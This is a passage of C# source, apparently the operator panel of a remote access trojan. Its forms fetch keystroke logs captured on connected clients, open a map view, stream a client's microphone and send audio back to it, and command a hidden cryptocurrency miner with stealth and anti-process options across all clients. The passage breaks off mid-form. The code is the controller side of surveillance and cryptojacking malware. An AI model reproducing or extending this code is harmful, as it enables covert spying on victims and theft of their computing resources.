using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormKeyLoggerPanel : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public DataGridView dataGridView3;
private DataGridViewTextBoxColumn Column1;
public FormKeyLoggerPanel()
{
base.FormClosing += Closing1;
InitializeComponent();
}
private void FormKeyLoggerPanel_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
dataGridView3.DoubleClick += dataGridView3_DoubleClick;
}
private void ChangeScheme(object sender)
{
dataGridView3.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView3.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView3.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView3.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
}
private void dataGridView3_DoubleClick(object sender, EventArgs e)
{
if (dataGridView3.SelectedRows.Count == 0)
{
return;
}
List<string> list = new List<string>();
foreach (DataGridViewRow selectedRow in dataGridView3.SelectedRows)
{
list.Add((string)selectedRow.Cells[0].Value);
}
client.Send(new object[2]
{
"GetLog",
string.Join(",", (IEnumerable<string>)list.ToArray())
});
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.dataGridView3 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
((System.ComponentModel.ISupportInitialize)this.dataGridView3).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(203, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(594, 486);
this.richTextBox1.TabIndex = 2;
this.richTextBox1.Text = "";
this.dataGridView3.AllowUserToAddRows = false;
this.dataGridView3.AllowUserToDeleteRows = false;
this.dataGridView3.AllowUserToResizeColumns = false;
this.dataGridView3.AllowUserToResizeRows = false;
this.dataGridView3.BackgroundColor = System.Drawing.Color.White;
this.dataGridView3.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView3.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView3.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView3.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView3.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView3.Columns.AddRange(this.Column1);
this.dataGridView3.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView3.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView3.Dock = System.Windows.Forms.DockStyle.Left;
this.dataGridView3.Enabled = false;
this.dataGridView3.EnableHeadersVisualStyles = false;
this.dataGridView3.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView3.Location = new System.Drawing.Point(3, 64);
this.dataGridView3.Name = "dataGridView3";
this.dataGridView3.ReadOnly = true;
this.dataGridView3.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView3.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView3.RowHeadersVisible = false;
this.dataGridView3.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView3.ShowCellErrors = false;
this.dataGridView3.ShowCellToolTips = false;
this.dataGridView3.ShowEditingIcon = false;
this.dataGridView3.ShowRowErrors = false;
this.dataGridView3.Size = new System.Drawing.Size(200, 486);
this.dataGridView3.TabIndex = 14;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column1.HeaderText = "";
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(800, 553);
base.Controls.Add(this.richTextBox1);
base.Controls.Add(this.dataGridView3);
base.Name = "FormKeyLoggerPanel";
this.Text = "KeyLogger Panel";
base.Load += new System.EventHandler(FormKeyLoggerPanel_Load);
((System.ComponentModel.ISupportInitialize)this.dataGridView3).EndInit();
base.ResumeLayout(false);
}
}
+115
View File
@@ -0,0 +1,115 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using GMap.NET;
using GMap.NET.MapProviders;
using GMap.NET.WindowsForms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormMap : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
public Timer timer1;
public GMapControl gMapControl1;
public FormMap()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormMap_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
gMapControl1.DragButton = MouseButtons.Left;
gMapControl1.MapProvider = GMapProviders.GoogleMap;
}
private void ChangeScheme(object sender)
{
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.gMapControl1 = new GMap.NET.WindowsForms.GMapControl();
this.timer1 = new System.Windows.Forms.Timer(this.components);
base.SuspendLayout();
this.gMapControl1.Bearing = 0f;
this.gMapControl1.CanDragMap = true;
this.gMapControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.gMapControl1.EmptyTileColor = System.Drawing.Color.Navy;
this.gMapControl1.Enabled = false;
this.gMapControl1.GrayScaleMode = false;
this.gMapControl1.HelperLineOption = GMap.NET.WindowsForms.HelperLineOptions.DontShow;
this.gMapControl1.LevelsKeepInMemory = 5;
this.gMapControl1.Location = new System.Drawing.Point(3, 64);
this.gMapControl1.MarkersEnabled = true;
this.gMapControl1.MaxZoom = 15;
this.gMapControl1.MinZoom = 5;
this.gMapControl1.MouseWheelZoomEnabled = true;
this.gMapControl1.MouseWheelZoomType = GMap.NET.MouseWheelZoomType.MousePositionAndCenter;
this.gMapControl1.Name = "gMapControl1";
this.gMapControl1.NegativeMode = false;
this.gMapControl1.PolygonsEnabled = true;
this.gMapControl1.RetryLoadTile = 0;
this.gMapControl1.RoutesEnabled = true;
this.gMapControl1.ScaleMode = GMap.NET.WindowsForms.ScaleModes.Integer;
this.gMapControl1.SelectedAreaFillColor = System.Drawing.Color.FromArgb(33, 65, 105, 225);
this.gMapControl1.ShowTileGridLines = false;
this.gMapControl1.Size = new System.Drawing.Size(794, 383);
this.gMapControl1.TabIndex = 0;
this.gMapControl1.Zoom = 12.0;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(800, 450);
base.Controls.Add(this.gMapControl1);
base.Name = "FormMap";
this.Text = "Map";
base.Load += new System.EventHandler(FormMap_Load);
base.ResumeLayout(false);
}
}
+391
View File
@@ -0,0 +1,391 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using CustomControls.RJControls;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using NAudio.Wave;
using NAudio.Wave.SampleProviders;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormMicrophone : FormMaterial
{
public Clients parrent;
public Clients client1;
public Clients client2;
public static int sampleRate = 48000;
public float Pitch = 1f;
public BufferedWaveProvider bufferedWaveProvider;
public VolumeSampleProvider volumeSampleProvider;
public G722ChatCodec g722;
public WaveOut waveOut;
private WaveIn waveIn;
private IContainer components;
public Timer timer1;
private TrackBar trackBar1;
public RJComboBox rjComboBox1;
public MaterialSwitch materialSwitch1;
private TrackBar trackBar2;
public RJComboBox rjComboBox2;
public MaterialSwitch materialSwitch2;
private MaterialLabel materialLabel1;
public GroupBox groupBox1;
public GroupBox groupBox2;
private Panel panel1;
public FormMicrophone()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormMicrophone_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
rjComboBox1.BorderColor = FormMaterial.PrimaryColor;
rjComboBox2.BorderColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client1 != null)
{
client1.Disconnect();
}
if (client2 != null)
{
client2.Disconnect();
}
if (g722 != null)
{
g722.Dispose();
}
if (waveIn != null)
{
waveIn.StopRecording();
waveIn.Dispose();
}
if (waveOut != null)
{
waveOut.Stop();
waveOut.Dispose();
}
if (bufferedWaveProvider != null)
{
bufferedWaveProvider = null;
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client1 != null && !client1.itsConnect)
{
Close();
}
if (client2 != null && !client2.itsConnect)
{
Close();
}
}
private void trackBar2_Scroll(object sender, EventArgs e)
{
float num = ((trackBar2.Value > 11) ? ((float)(trackBar2.Value - 1) / 10f) : ((trackBar2.Value >= 11) ? 1f : ((float)(trackBar2.Value - 1) / 10f * 0.5f + 0.5f)));
if (Pitch != num)
{
Pitch = num;
client2.Send(LEB128.Write(new object[2] { "Tone", num }));
}
}
private void trackBar1_Scroll(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
volumeSampleProvider.Volume = (float)trackBar1.Value / 10f;
}
}
private void materialSwitch1_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
if (rjComboBox1.SelectedIndex == -1)
{
materialSwitch1.Checked = false;
return;
}
g722 = new G722ChatCodec();
bufferedWaveProvider = new BufferedWaveProvider(g722.RecordFormat);
bufferedWaveProvider.DiscardOnBufferOverflow = true;
client1.Send(LEB128.Write(new object[2]
{
"RecoveryNAudio",
(byte)rjComboBox1.SelectedIndex
}));
volumeSampleProvider = new VolumeSampleProvider(bufferedWaveProvider.ToSampleProvider());
volumeSampleProvider.Volume = (float)trackBar1.Value / 100f;
waveOut = new WaveOut();
waveOut.Volume = 1f;
waveOut.Init(volumeSampleProvider);
waveOut.Play();
}
else
{
if (waveOut != null)
{
waveOut.Stop();
waveOut.Dispose();
}
if (g722 != null)
{
g722.Dispose();
}
if (bufferedWaveProvider != null)
{
bufferedWaveProvider = null;
}
client1.Send(LEB128.Write(new object[2] { "RecoveryStopNAudio", Pitch }));
}
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch2.Checked)
{
client2.Send(LEB128.Write(new object[2] { "PlayerStart", Pitch }));
g722 = new G722ChatCodec();
waveIn = new WaveIn();
waveIn.DeviceNumber = rjComboBox2.SelectedIndex;
waveIn.DataAvailable += waveIn_DataAvailable;
waveIn.WaveFormat = g722.RecordFormat;
waveIn.StartRecording();
}
else
{
client2.Send(LEB128.Write(new object[1] { "PlayerStop" }));
if (waveIn != null)
{
waveIn.StopRecording();
waveIn.Dispose();
}
if (g722 != null)
{
g722.Dispose();
}
}
}
public void waveIn_DataAvailable(object sender, WaveInEventArgs e)
{
client2.Send(LEB128.Write(new object[2]
{
"PlayerBuffer",
g722.Encode(e.Buffer, 0, e.Buffer.Length)
}));
}
public void Buffer(byte[] e)
{
if (waveOut != null && bufferedWaveProvider != null && g722 != null)
{
byte[] array = g722.Decode(e, 0, e.Length);
bufferedWaveProvider.AddSamples(array, 0, array.Count());
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.trackBar1 = new System.Windows.Forms.TrackBar();
this.rjComboBox1 = new CustomControls.RJControls.RJComboBox();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.groupBox2 = new System.Windows.Forms.GroupBox();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.trackBar2 = new System.Windows.Forms.TrackBar();
this.rjComboBox2 = new CustomControls.RJControls.RJComboBox();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.panel1 = new System.Windows.Forms.Panel();
this.groupBox1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).BeginInit();
this.groupBox2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar2).BeginInit();
base.SuspendLayout();
this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.groupBox1.Controls.Add(this.trackBar1);
this.groupBox1.Controls.Add(this.rjComboBox1);
this.groupBox1.Controls.Add(this.materialSwitch1);
this.groupBox1.Enabled = false;
this.groupBox1.Location = new System.Drawing.Point(26, 88);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(300, 149);
this.groupBox1.TabIndex = 29;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Client";
this.trackBar1.Location = new System.Drawing.Point(25, 55);
this.trackBar1.Maximum = 100;
this.trackBar1.Name = "trackBar1";
this.trackBar1.Size = new System.Drawing.Size(250, 45);
this.trackBar1.TabIndex = 28;
this.trackBar1.Value = 10;
this.trackBar1.Scroll += new System.EventHandler(trackBar1_Scroll);
this.rjComboBox1.BackColor = System.Drawing.Color.White;
this.rjComboBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox1.BorderSize = 1;
this.rjComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox1.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox1.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox1.ListBackColor = System.Drawing.Color.White;
this.rjComboBox1.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox1.Location = new System.Drawing.Point(25, 19);
this.rjComboBox1.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox1.Name = "rjComboBox1";
this.rjComboBox1.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox1.Size = new System.Drawing.Size(250, 30);
this.rjComboBox1.TabIndex = 27;
this.rjComboBox1.Texts = "";
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Location = new System.Drawing.Point(6, 103);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
this.materialSwitch1.TabIndex = 26;
this.materialSwitch1.Text = "Start";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
this.groupBox2.Controls.Add(this.materialLabel1);
this.groupBox2.Controls.Add(this.trackBar2);
this.groupBox2.Controls.Add(this.rjComboBox2);
this.groupBox2.Controls.Add(this.materialSwitch2);
this.groupBox2.Enabled = false;
this.groupBox2.Location = new System.Drawing.Point(348, 88);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(300, 149);
this.groupBox2.TabIndex = 30;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "You";
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(6, 64);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(85, 19);
this.materialLabel1.TabIndex = 29;
this.materialLabel1.Text = "Tone Speak";
this.trackBar2.Location = new System.Drawing.Point(97, 55);
this.trackBar2.Maximum = 21;
this.trackBar2.Minimum = 1;
this.trackBar2.Name = "trackBar2";
this.trackBar2.Size = new System.Drawing.Size(197, 45);
this.trackBar2.TabIndex = 28;
this.trackBar2.Value = 10;
this.trackBar2.Scroll += new System.EventHandler(trackBar2_Scroll);
this.rjComboBox2.BackColor = System.Drawing.Color.White;
this.rjComboBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox2.BorderSize = 1;
this.rjComboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDown;
this.rjComboBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10f);
this.rjComboBox2.ForeColor = System.Drawing.Color.DimGray;
this.rjComboBox2.IconColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjComboBox2.ListBackColor = System.Drawing.Color.White;
this.rjComboBox2.ListTextColor = System.Drawing.Color.DimGray;
this.rjComboBox2.Location = new System.Drawing.Point(25, 19);
this.rjComboBox2.MinimumSize = new System.Drawing.Size(200, 30);
this.rjComboBox2.Name = "rjComboBox2";
this.rjComboBox2.Padding = new System.Windows.Forms.Padding(1);
this.rjComboBox2.Size = new System.Drawing.Size(250, 30);
this.rjComboBox2.TabIndex = 27;
this.rjComboBox2.Texts = "";
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(6, 103);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(92, 37);
this.materialSwitch2.TabIndex = 26;
this.materialSwitch2.Text = "Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(667, 198);
this.panel1.TabIndex = 31;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(673, 265);
base.Controls.Add(this.groupBox2);
base.Controls.Add(this.groupBox1);
base.Controls.Add(this.panel1);
base.Name = "FormMicrophone";
this.Text = "Microphone";
base.Load += new System.EventHandler(FormMicrophone_Load);
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar1).EndInit();
this.groupBox2.ResumeLayout(false);
this.groupBox2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.trackBar2).EndInit();
base.ResumeLayout(false);
}
}
+423
View File
@@ -0,0 +1,423 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
namespace Server.Forms;
public class FormMinerEtc : FormMaterial
{
public bool work;
private IContainer components;
private Panel panel1;
public MaterialSwitch materialSwitch2;
private RJButton rjButton1;
public MaterialSwitch materialSwitch1;
public MaterialSwitch materialSwitch7;
public DataGridView GridClients;
private DataGridViewTextBoxColumn ColumnIP;
private DataGridViewTextBoxColumn ColumnHwid;
private DataGridViewTextBoxColumn ColumnStatus;
private DataGridViewTextBoxColumn ColumnCpu;
private DataGridViewTextBoxColumn ColumnGpu;
private Timer timer1;
public RJTextBox rjTextBox2;
public MaterialSwitch materialSwitch3;
public RJTextBox rjTextBox3;
public FormMinerEtc()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
if (File.Exists("local\\MinerEtc.json"))
{
MinerXMR minerXMR = JsonConvert.DeserializeObject<MinerXMR>(File.ReadAllText("local\\MinerEtc.json"));
materialSwitch1.Checked = minerXMR.AntiProcess;
materialSwitch3.Checked = minerXMR.Stealth;
rjTextBox3.Texts = minerXMR.ArgsStealh;
rjTextBox2.Texts = minerXMR.Args;
if (minerXMR.AutoStart)
{
materialSwitch2.Checked = true;
work = true;
materialSwitch7.Checked = true;
}
}
}
private void ChangeScheme(object sender)
{
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
rjTextBox3.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.ForeColor = FormMaterial.PrimaryColor;
GridClients.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridClients.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridClients.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridClients.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
public Clients[] ClientsAll()
{
List<Clients> list = new List<Clients>();
foreach (DataGridViewRow item in (IEnumerable)GridClients.Rows)
{
list.Add((Clients)item.Tag);
}
return list.ToArray();
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Clients[] array = ClientsAll();
foreach (Clients client in array)
{
Task.Run(delegate
{
client.Disconnect();
});
}
GridClients.Rows.Clear();
Hide();
Save();
e.Cancel = true;
}
private void Save()
{
MinerEtc minerEtc = new MinerEtc();
minerEtc.AntiProcess = materialSwitch1.Checked;
minerEtc.Stealth = materialSwitch3.Checked;
minerEtc.ArgsStealh = rjTextBox3.Texts;
minerEtc.AutoStart = materialSwitch2.Checked;
minerEtc.Args = rjTextBox2.Texts;
File.WriteAllText("local\\MinerEtc.json", JsonConvert.SerializeObject(minerEtc, Formatting.Indented));
}
public object[] Args()
{
if (!materialSwitch3.Checked)
{
return new object[3] { "Start", materialSwitch1.Checked, rjTextBox2.Texts };
}
return new object[4] { "Start", materialSwitch1.Checked, rjTextBox2.Texts, rjTextBox3.Texts };
}
private void rjButton1_Click(object sender, EventArgs e)
{
Hide();
}
private void materialSwitch7_CheckedChanged(object sender, EventArgs e)
{
if (materialSwitch7.Checked)
{
if (string.IsNullOrEmpty(rjTextBox2.Texts))
{
return;
}
Clients[] array = ClientsAll();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(Args());
}
}
else
{
Clients[] array = ClientsAll();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(new object[1] { "Stop" });
}
}
Save();
}
private void timer1_Tick(object sender, EventArgs e)
{
Text = $"Etc Miner Online [{GridClients.Rows.Count}]";
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
Save();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.panel1 = new System.Windows.Forms.Panel();
this.rjTextBox3 = new CustomControls.RJControls.RJTextBox();
this.materialSwitch3 = new MaterialSkin.Controls.MaterialSwitch();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.materialSwitch7 = new MaterialSkin.Controls.MaterialSwitch();
this.GridClients = new System.Windows.Forms.DataGridView();
this.ColumnIP = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnHwid = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnStatus = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnCpu = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnGpu = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.GridClients).BeginInit();
base.SuspendLayout();
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.rjTextBox3);
this.panel1.Controls.Add(this.materialSwitch3);
this.panel1.Controls.Add(this.rjTextBox2);
this.panel1.Controls.Add(this.materialSwitch2);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.materialSwitch1);
this.panel1.Controls.Add(this.materialSwitch7);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(971, 128);
this.panel1.TabIndex = 12;
this.rjTextBox3.BackColor = System.Drawing.Color.White;
this.rjTextBox3.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox3.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox3.BorderRadius = 0;
this.rjTextBox3.BorderSize = 1;
this.rjTextBox3.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox3.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox3.Location = new System.Drawing.Point(15, 86);
this.rjTextBox3.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox3.Multiline = false;
this.rjTextBox3.Name = "rjTextBox3";
this.rjTextBox3.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox3.PasswordChar = false;
this.rjTextBox3.PlaceholderColor = System.Drawing.Color.DarkGray;
